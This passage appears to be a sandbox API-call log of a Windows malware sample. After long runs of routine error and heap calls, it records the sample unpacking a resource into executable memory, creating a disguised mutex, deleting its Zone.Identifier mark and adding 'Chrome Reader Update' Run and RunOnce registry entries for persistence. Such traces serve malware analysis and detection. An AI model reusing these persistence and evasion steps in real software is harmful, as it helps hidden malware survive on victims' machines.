[0147.105] SetLastError (dwErrCode=0x0) [0147.105] GetLastError () returned 0x0 [0147.105] SetLastError (dwErrCode=0x0) [0147.105] GetLastError () returned 0x0 [0147.105] SetLastError (dwErrCode=0x0) [0147.105] GetLastError () returned 0x0 [0147.106] SetLastError (dwErrCode=0x0) [0147.106] GetLastError () returned 0x0 [0147.106] SetLastError (dwErrCode=0x0) [0147.106] GetLastError () returned 0x0 [0147.106] SetLastError (dwErrCode=0x0) [0147.106] GetLastError () returned 0x0 [0147.106] SetLastError (dwErrCode=0x0) [0147.106] GetLastError () returned 0x0 [0147.107] SetLastError (dwErrCode=0x0) [0147.107] GetLastError () returned 0x0 [0147.107] SetLastError (dwErrCode=0x0) [0147.107] GetLastError () returned 0x0 [0147.125] SetLastError (dwErrCode=0x0) [0147.125] GetLastError () returned 0x0 [0147.125] SetLastError (dwErrCode=0x0) [0147.125] GetLastError () returned 0x0 [0147.126] SetLastError (dwErrCode=0x0) [0147.126] GetLastError () returned 0x0 [0147.126] SetLastError (dwErrCode=0x0) [0147.126] GetLastError () returned 0x0 [0147.126] SetLastError (dwErrCode=0x0) [0147.126] GetLastError () returned 0x0 [0147.126] SetLastError (dwErrCode=0x0) [0147.126] GetLastError () returned 0x0 [0147.126] SetLastError (dwErrCode=0x0) [0147.127] GetLastError () returned 0x0 [0147.127] SetLastError (dwErrCode=0x0) [0147.127] GetLastError () returned 0x0 [0147.127] SetLastError (dwErrCode=0x0) [0147.127] GetLastError () returned 0x0 [0147.127] SetLastError (dwErrCode=0x0) [0147.127] GetLastError () returned 0x0 [0147.128] SetLastError (dwErrCode=0x0) [0147.128] GetLastError () returned 0x0 [0147.128] SetLastError (dwErrCode=0x0) [0147.128] GetLastError () returned 0x0 [0147.128] SetLastError (dwErrCode=0x0) [0147.128] GetLastError () returned 0x0 [0147.128] SetLastError (dwErrCode=0x0) [0147.128] GetLastError () returned 0x0 [0147.129] SetLastError (dwErrCode=0x0) [0147.129] GetLastError () returned 0x0 [0147.129] SetLastError (dwErrCode=0x0) [0147.129] GetLastError () returned 0x0 [0147.129] SetLastError (dwErrCode=0x0) [0147.129] GetLastError () returned 0x0 [0147.130] SetLastError (dwErrCode=0x0) [0147.130] GetLastError () returned 0x0 [0147.130] SetLastError (dwErrCode=0x0) [0147.130] GetLastError () returned 0x0 [0147.130] SetLastError (dwErrCode=0x0) [0147.130] GetLastError () returned 0x0 [0147.130] SetLastError (dwErrCode=0x0) [0147.130] GetLastError () returned 0x0 [0147.131] SetLastError (dwErrCode=0x0) [0147.131] GetLastError () returned 0x0 [0147.131] SetLastError (dwErrCode=0x0) [0147.131] GetLastError () returned 0x0 [0147.131] SetLastError (dwErrCode=0x0) [0147.131] GetLastError () returned 0x0 [0147.131] SetLastError (dwErrCode=0x0) [0147.131] GetLastError () returned 0x0 [0147.132] SetLastError (dwErrCode=0x0) [0147.132] GetLastError () returned 0x0 [0147.132] SetLastError (dwErrCode=0x0) [0147.132] GetLastError () returned 0x0 [0147.132] SetLastError (dwErrCode=0x0) [0147.132] GetLastError () returned 0x0 [0147.132] SetLastError (dwErrCode=0x0) [0147.132] GetLastError () returned 0x0 [0147.133] SetLastError (dwErrCode=0x0) [0147.133] GetLastError () returned 0x0 [0147.133] SetLastError (dwErrCode=0x0) [0147.133] GetLastError () returned 0x0 [0147.133] SetLastError (dwErrCode=0x0) [0147.133] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x90) returned 0xf617c0 [0147.133] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x1f) returned 0xf61858 [0147.133] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2e) returned 0xf61880 [0147.133] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x37) returned 0xf618b8 [0147.133] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x3c) returned 0xf618f8 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x31) returned 0xf61940 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x14) returned 0xf61980 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x24) returned 0xf619a0 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0xd) returned 0xf619d0 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x1d) returned 0xf619e8 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x31) returned 0xf61a10 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x15) returned 0xf61a50 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x17) returned 0xf61a70 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0xe) returned 0xf61a90 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0xa2) returned 0xf61aa8 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x3e) returned 0xf61b58 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x1b) returned 0xf61ba0 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x1d) returned 0xf61bc8 [0147.134] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x49) returned 0xf61bf0 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x12) returned 0xf61c48 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x18) returned 0xf61c68 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x1b) returned 0xf61c88 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x24) returned 0xf61cb0 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x29) returned 0xf61ce0 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x1e) returned 0xf61d18 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x6b) returned 0xf61d40 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x17) returned 0xf61db8 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0xf) returned 0xf61dd8 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x16) returned 0xf61df0 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2a) returned 0xf61e10 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x29) returned 0xf61e48 [0147.135] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x12) returned 0xf61e80 [0147.136] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x21) returned 0xf61ea0 [0147.136] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x16) returned 0xf61ed0 [0147.136] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x22) returned 0xf61ef0 [0147.136] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x12) returned 0xf61f20 [0147.137] HeapFree (in: hHeap=0xf60000, dwFlags=0x0, lpMem=0xf60fd0 | out: hHeap=0xf60000) returned 1 [0147.141] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf61f40 [0147.142] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xe21bd0) returned 0x0 [0147.143] RtlSizeHeap (HeapHandle=0xf60000, Flags=0x0, MemoryPointer=0xf61f40) returned 0x80 [0147.144] GetLastError () returned 0x0 [0147.144] SetLastError (dwErrCode=0x0) [0147.144] GetLastError () returned 0x0 [0147.144] SetLastError (dwErrCode=0x0) [0147.144] GetLastError () returned 0x0 [0147.145] SetLastError (dwErrCode=0x0) [0147.145] GetLastError () returned 0x0 [0147.145] SetLastError (dwErrCode=0x0) [0147.145] GetLastError () returned 0x0 [0147.145] SetLastError (dwErrCode=0x0) [0147.145] GetLastError () returned 0x0 [0147.145] SetLastError (dwErrCode=0x0) [0147.146] GetLastError () returned 0x0 [0147.146] SetLastError (dwErrCode=0x0) [0147.146] GetLastError () returned 0x0 [0147.146] SetLastError (dwErrCode=0x0) [0147.146] GetLastError () returned 0x0 [0147.146] SetLastError (dwErrCode=0x0) [0147.146] GetLastError () returned 0x0 [0147.147] SetLastError (dwErrCode=0x0) [0147.147] GetLastError () returned 0x0 [0147.147] SetLastError (dwErrCode=0x0) [0147.147] GetLastError () returned 0x0 [0147.147] SetLastError (dwErrCode=0x0) [0147.147] GetLastError () returned 0x0 [0147.147] SetLastError (dwErrCode=0x0) [0147.147] GetLastError () returned 0x0 [0147.148] SetLastError (dwErrCode=0x0) [0147.148] GetLastError () returned 0x0 [0147.148] SetLastError (dwErrCode=0x0) [0147.148] GetLastError () returned 0x0 [0147.148] SetLastError (dwErrCode=0x0) [0147.148] GetLastError () returned 0x0 [0147.148] SetLastError (dwErrCode=0x0) [0147.149] GetLastError () returned 0x0 [0147.149] SetLastError (dwErrCode=0x0) [0147.149] GetLastError () returned 0x0 [0147.149] SetLastError (dwErrCode=0x0) [0147.149] GetLastError () returned 0x0 [0147.149] SetLastError (dwErrCode=0x0) [0147.149] GetLastError () returned 0x0 [0147.150] SetLastError (dwErrCode=0x0) [0147.150] GetLastError () returned 0x0 [0147.150] SetLastError (dwErrCode=0x0) [0147.150] GetLastError () returned 0x0 [0147.150] SetLastError (dwErrCode=0x0) [0147.150] GetLastError () returned 0x0 [0147.150] SetLastError (dwErrCode=0x0) [0147.150] GetLastError () returned 0x0 [0147.151] SetLastError (dwErrCode=0x0) [0147.151] GetLastError () returned 0x0 [0147.151] SetLastError (dwErrCode=0x0) [0147.151] GetLastError () returned 0x0 [0147.151] SetLastError (dwErrCode=0x0) [0147.151] GetLastError () returned 0x0 [0147.151] SetLastError (dwErrCode=0x0) [0147.151] GetLastError () returned 0x0 [0147.152] SetLastError (dwErrCode=0x0) [0147.152] GetLastError () returned 0x0 [0147.152] SetLastError (dwErrCode=0x0) [0147.152] GetLastError () returned 0x0 [0147.152] SetLastError (dwErrCode=0x0) [0147.152] GetLastError () returned 0x0 [0147.152] SetLastError (dwErrCode=0x0) [0147.153] GetLastError () returned 0x0 [0147.153] SetLastError (dwErrCode=0x0) [0147.153] GetLastError () returned 0x0 [0147.153] SetLastError (dwErrCode=0x0) [0147.153] GetLastError () returned 0x0 [0147.153] SetLastError (dwErrCode=0x0) [0147.153] GetLastError () returned 0x0 [0147.153] SetLastError (dwErrCode=0x0) [0147.153] GetLastError () returned 0x0 [0147.154] SetLastError (dwErrCode=0x0) [0147.154] GetLastError () returned 0x0 [0147.154] SetLastError (dwErrCode=0x0) [0147.154] GetLastError () returned 0x0 [0147.155] SetLastError (dwErrCode=0x0) [0147.155] GetLastError () returned 0x0 [0147.155] SetLastError (dwErrCode=0x0) [0147.155] GetLastError () returned 0x0 [0147.155] SetLastError (dwErrCode=0x0) [0147.155] GetLastError () returned 0x0 [0147.155] SetLastError (dwErrCode=0x0) [0147.155] GetLastError () returned 0x0 [0147.156] SetLastError (dwErrCode=0x0) [0147.156] GetLastError () returned 0x0 [0147.156] SetLastError (dwErrCode=0x0) [0147.156] GetLastError () returned 0x0 [0147.156] SetLastError (dwErrCode=0x0) [0147.156] GetLastError () returned 0x0 [0147.156] SetLastError (dwErrCode=0x0) [0147.156] GetLastError () returned 0x0 [0147.157] SetLastError (dwErrCode=0x0) [0147.157] GetLastError () returned 0x0 [0147.157] SetLastError (dwErrCode=0x0) [0147.157] GetLastError () returned 0x0 [0147.157] SetLastError (dwErrCode=0x0) [0147.157] GetLastError () returned 0x0 [0147.157] SetLastError (dwErrCode=0x0) [0147.157] GetLastError () returned 0x0 [0147.157] SetLastError (dwErrCode=0x0) [0147.158] GetLastError () returned 0x0 [0147.158] SetLastError (dwErrCode=0x0) [0147.158] GetLastError () returned 0x0 [0147.158] SetLastError (dwErrCode=0x0) [0147.158] GetLastError () returned 0x0 [0147.158] SetLastError (dwErrCode=0x0) [0147.158] GetLastError () returned 0x0 [0147.158] SetLastError (dwErrCode=0x0) [0147.158] GetLastError () returned 0x0 [0147.159] SetLastError (dwErrCode=0x0) [0147.159] GetLastError () returned 0x0 [0147.159] SetLastError (dwErrCode=0x0) [0147.159] GetLastError () returned 0x0 [0147.159] SetLastError (dwErrCode=0x0) [0147.159] GetLastError () returned 0x0 [0147.159] SetLastError (dwErrCode=0x0) [0147.159] GetLastError () returned 0x0 [0147.160] SetLastError (dwErrCode=0x0) [0147.160] GetLastError () returned 0x0 [0147.160] SetLastError (dwErrCode=0x0) [0147.160] GetLastError () returned 0x0 [0147.160] SetLastError (dwErrCode=0x0) [0147.160] GetLastError () returned 0x0 [0147.160] SetLastError (dwErrCode=0x0) [0147.160] GetLastError () returned 0x0 [0147.161] SetLastError (dwErrCode=0x0) [0147.161] GetLastError () returned 0x0 [0147.161] SetLastError (dwErrCode=0x0) [0147.161] GetLastError () returned 0x0 [0147.161] SetLastError (dwErrCode=0x0) [0147.161] GetLastError () returned 0x0 [0147.161] SetLastError (dwErrCode=0x0) [0147.161] GetLastError () returned 0x0 [0147.162] SetLastError (dwErrCode=0x0) [0147.162] GetLastError () returned 0x0 [0147.162] SetLastError (dwErrCode=0x0) [0147.162] GetLastError () returned 0x0 [0147.162] SetLastError (dwErrCode=0x0) [0147.162] GetLastError () returned 0x0 [0147.162] SetLastError (dwErrCode=0x0) [0147.162] GetLastError () returned 0x0 [0147.163] SetLastError (dwErrCode=0x0) [0147.163] GetLastError () returned 0x0 [0147.163] SetLastError (dwErrCode=0x0) [0147.163] GetLastError () returned 0x0 [0147.163] SetLastError (dwErrCode=0x0) [0147.163] GetLastError () returned 0x0 [0147.163] SetLastError (dwErrCode=0x0) [0147.163] GetLastError () returned 0x0 [0147.163] SetLastError (dwErrCode=0x0) [0147.164] GetLastError () returned 0x0 [0147.164] SetLastError (dwErrCode=0x0) [0147.164] GetLastError () returned 0x0 [0147.164] SetLastError (dwErrCode=0x0) [0147.164] GetLastError () returned 0x0 [0147.164] SetLastError (dwErrCode=0x0) [0147.164] GetLastError () returned 0x0 [0147.164] SetLastError (dwErrCode=0x0) [0147.164] GetLastError () returned 0x0 [0147.165] SetLastError (dwErrCode=0x0) [0147.165] GetLastError () returned 0x0 [0147.165] SetLastError (dwErrCode=0x0) [0147.165] GetLastError () returned 0x0 [0147.165] SetLastError (dwErrCode=0x0) [0147.165] GetLastError () returned 0x0 [0147.165] SetLastError (dwErrCode=0x0) [0147.165] GetLastError () returned 0x0 [0147.165] SetLastError (dwErrCode=0x0) [0147.166] GetLastError () returned 0x0 [0147.166] SetLastError (dwErrCode=0x0) [0147.166] GetLastError () returned 0x0 [0147.166] SetLastError (dwErrCode=0x0) [0147.166] GetLastError () returned 0x0 [0147.166] SetLastError (dwErrCode=0x0) [0147.166] GetLastError () returned 0x0 [0147.166] SetLastError (dwErrCode=0x0) [0147.166] GetLastError () returned 0x0 [0147.167] SetLastError (dwErrCode=0x0) [0147.167] GetLastError () returned 0x0 [0147.167] SetLastError (dwErrCode=0x0) [0147.167] GetLastError () returned 0x0 [0147.167] SetLastError (dwErrCode=0x0) [0147.167] GetLastError () returned 0x0 [0147.167] SetLastError (dwErrCode=0x0) [0147.167] GetLastError () returned 0x0 [0147.168] SetLastError (dwErrCode=0x0) [0147.168] GetLastError () returned 0x0 [0147.168] SetLastError (dwErrCode=0x0) [0147.168] GetLastError () returned 0x0 [0147.168] SetLastError (dwErrCode=0x0) [0147.168] GetLastError () returned 0x0 [0147.168] SetLastError (dwErrCode=0x0) [0147.168] GetLastError () returned 0x0 [0147.169] SetLastError (dwErrCode=0x0) [0147.169] GetLastError () returned 0x0 [0147.169] SetLastError (dwErrCode=0x0) [0147.169] GetLastError () returned 0x0 [0147.169] SetLastError (dwErrCode=0x0) [0147.229] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d90000 [0147.230] GetProcAddress (hModule=0x76d90000, lpProcName="QueryPerformanceFrequency") returned 0x76da8cc0 [0147.230] GetProcAddress (hModule=0x76d90000, lpProcName="QueryPerformanceCounter") returned 0x76da38a0 [0147.230] GetProcAddress (hModule=0x76d90000, lpProcName="IsBadCodePtr") returned 0x76dad0e0 [0147.230] QueryPerformanceFrequency (in: lpFrequency=0x18fcc4 | out: lpFrequency=0x18fcc4*=100000000) returned 1 [0147.230] QueryPerformanceCounter (in: lpPerformanceCount=0x18fccc | out: lpPerformanceCount=0x18fccc*=2574503693456) returned 1 [0150.342] QueryPerformanceCounter (in: lpPerformanceCount=0x18fcb8 | out: lpPerformanceCount=0x18fcb8*=2574814851454) returned 1 [0150.342] GetLastError () returned 0x0 [0150.342] GetLastError () returned 0x0 [0150.342] GetLastError () returned 0x0 [0150.342] VirtualQuery (in: lpAddress=0x0, lpBuffer=0x0, dwLength=0x0 | out: lpBuffer=0x0) returned 0x0 [0150.343] GetModuleHandleA (lpModuleName=0x0) returned 0xe20000 [0150.343] LockResource (hResData=0x0) returned 0x0 [0150.343] FindResourceA (hModule=0xe20000, lpName=0x821b, lpType=0xa) returned 0xe30b30 [0150.343] GetFileTime (in: hFile=0x0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x0 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x0) returned 0 [0150.343] LoadLibraryW (lpLibFileName="Kernel32.dll") returned 0x76d90000 [0150.344] GetProcAddress (hModule=0x76d90000, lpProcName="LoadResource") returned 0x76da76f0 [0150.344] MoveFileExA (lpExistingFileName=0x0, lpNewFileName=0x0, dwFlags=0x0) returned 0 [0150.345] LoadResource (hModule=0xe20000, hResInfo=0xe30b30) returned 0xe3bafc [0150.345] lstrcpynA (in: lpString1=0x0, lpString2=0x0, iMaxLength=0 | out: lpString1=0x0) returned 0x0 [0150.345] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76d90000 [0150.345] GetProcAddress (hModule=0x76d90000, lpProcName="LockResource") returned 0x76da7890 [0150.345] GlobalAddAtomW (lpString=0x0) returned 0x0 [0150.346] LockResource (hResData=0xe3bafc) returned 0xe3bafc [0150.346] DefineDosDeviceA (dwFlags=0x0, lpDeviceName=0x0, lpTargetPath=0x0) returned 0 [0150.346] SizeofResource (hModule=0xe20000, hResInfo=0xe30b30) returned 0x8400 [0150.346] VirtualAlloc (lpAddress=0x0, dwSize=0x8400, flAllocationType=0x3000, flProtect=0x40) returned 0xf70000 [0150.347] lstrcmpiW (lpString1=0x0, lpString2=0x0) returned 0 [0150.356] LocalSize (hMem=0x0) returned 0x0 [0150.365] lstrcpyA (in: lpString1=0x18fce4, lpString2="HEWRTWEWETHGSER" | out: lpString1="HEWRTWEWETHGSER") returned="HEWRTWEWETHGSER" [0150.365] VirtualAlloc (lpAddress=0x0, dwSize=0xb000, flAllocationType=0x3000, flProtect=0x40) returned 0xf80000 [0150.366] RtlMoveMemory (in: Destination=0xf80000, Source=0xf70000, Length=0x40 | out: Destination=0xf80000) [0150.366] RtlMoveMemory (in: Destination=0xf800c8, Source=0xf700c8, Length=0xf8 | out: Destination=0xf800c8) [0150.366] RtlMoveMemory (in: Destination=0xf801c0, Source=0xf701c0, Length=0xa0 | out: Destination=0xf801c0) [0150.366] RtlMoveMemory (in: Destination=0xf80040, Source=0xf70040, Length=0x88 | out: Destination=0xf80040) [0150.366] RtlMoveMemory (in: Destination=0xf81000, Source=0xf70400, Length=0x3000 | out: Destination=0xf81000) [0150.367] RtlMoveMemory (in: Destination=0xf84000, Source=0xf73400, Length=0x4a00 | out: Destination=0xf84000) [0150.368] RtlMoveMemory (in: Destination=0xf89000, Source=0xf77e00, Length=0x200 | out: Destination=0xf89000) [0150.368] RtlMoveMemory (in: Destination=0xf8a000, Source=0xf78000, Length=0x400 | out: Destination=0xf8a000) [0150.370] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76950000 [0150.370] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0150.370] LoadLibraryExA (lpLibFileName="user32.dll", hFile=0x0, dwFlags=0x0) returned 0x76950000 [0150.370] GetProcAddress (hModule=0x76950000, lpProcName="wsprintfW") returned 0x7697f890 [0150.371] Sleep (dwMilliseconds=0x7d0) [0152.403] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f4bc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f4bc*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.405] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.406] GetUserNameA (in: lpBuffer=0x18f3a0, pcbBuffer=0x18f4b8 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x18f4b8) returned 1 [0152.421] wsprintfW (in: param_1=0x18f4d4, param_2="ChromeReaderHardWress2_%x%x" | out: param_1="ChromeReaderHardWress2_c287f3826d6e218") returned 38 [0152.423] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="ChromeReaderHardWress2_c287f3826d6e218") returned 0x108 [0152.423] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x0 [0152.423] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.424] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SoftWare", ulOptions=0x0, samDesired=0x20219, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x110) returned 0x0 [0152.424] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.424] RegQueryValueExW (in: hKey=0x110, lpValueName="ChromeFirstVersionHardWare32", lpReserved=0x0, lpType=0x18f4b8, lpData=0x18f0a0, lpcbData=0x18f4b4*=0x208 | out: lpType=0x18f4b8*=0x0, lpData=0x18f0a0*=0xf6, lpcbData=0x18f4b4*=0x208) returned 0x2 [0152.424] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.424] RegCloseKey (hKey=0x110) returned 0x0 [0152.425] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.425] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SoftWare", ulOptions=0x0, samDesired=0x20219, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x110) returned 0x0 [0152.425] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.425] RegQueryValueExW (in: hKey=0x110, lpValueName="ChromeFirstVersionHardWare32", lpReserved=0x0, lpType=0x0, lpData=0x18f2b0, lpcbData=0x18f4b8*=0x208 | out: lpType=0x0, lpData=0x18f2b0*=0x0, lpcbData=0x18f4b8*=0x208) returned 0x2 [0152.425] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.425] RegCloseKey (hKey=0x110) returned 0x0 [0152.425] LoadLibraryExA (lpLibFileName="user32.dll", hFile=0x0, dwFlags=0x0) returned 0x76950000 [0152.426] GetProcAddress (hModule=0x76950000, lpProcName="wsprintfW") returned 0x7697f890 [0152.426] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18ee8c, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe")) returned 0x62 [0152.426] wsprintfW (in: param_1=0x18f094, param_2="%s:Zone.Identifier" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe:Zone.Identifier") returned 114 [0152.426] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe:zone.identifier")) returned 0 [0152.428] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe:zone.identifier")) returned 0 [0152.428] lstrcpyW (in: lpString1=0x18f29c, lpString2="\"" | out: lpString1="\"") returned="\"" [0152.428] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" | out: lpString1="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe") returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" [0152.428] lstrcatW (in: lpString1="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe", lpString2="\"" | out: lpString1="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\"") returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\"" [0152.428] lstrlenW (lpString="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\"") returned 100 [0152.428] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.429] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf023f, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x110) returned 0x0 [0152.429] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.429] RegSetValueExW (in: hKey=0x110, lpValueName="Chrome Reader UpdateHardWare", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\"", cbData=0xca | out: lpData="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\"") returned 0x0 [0152.430] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.430] RegFlushKey (hKey=0x110) returned 0x0 [0152.485] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.485] RegCloseKey (hKey=0x110) returned 0x0 [0152.504] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.504] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SoftWare\\Microsoft\\Windows\\CurrentVersion\\RunOnce", ulOptions=0x0, samDesired=0xf023f, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x110) returned 0x0 [0152.504] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.505] RegSetValueExW (in: hKey=0x110, lpValueName="*Chrome Reader Update32", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\"", cbData=0xca | out: lpData="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\"") returned 0x0 [0152.505] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.506] RegFlushKey (hKey=0x110) returned 0x0 [0152.513] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.513] RegCloseKey (hKey=0x110) returned 0x0 [0152.513] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f2ac, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe")) returned 0x62 [0152.513] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.513] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SoftWare", ulOptions=0x0, samDesired=0xf023f, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x110) returned 0x0 [0152.514] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.514] RegSetValueExW (in: hKey=0x110, lpValueName="ChromeFirstVersionHardWare32", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe", cbData=0x208 | out: 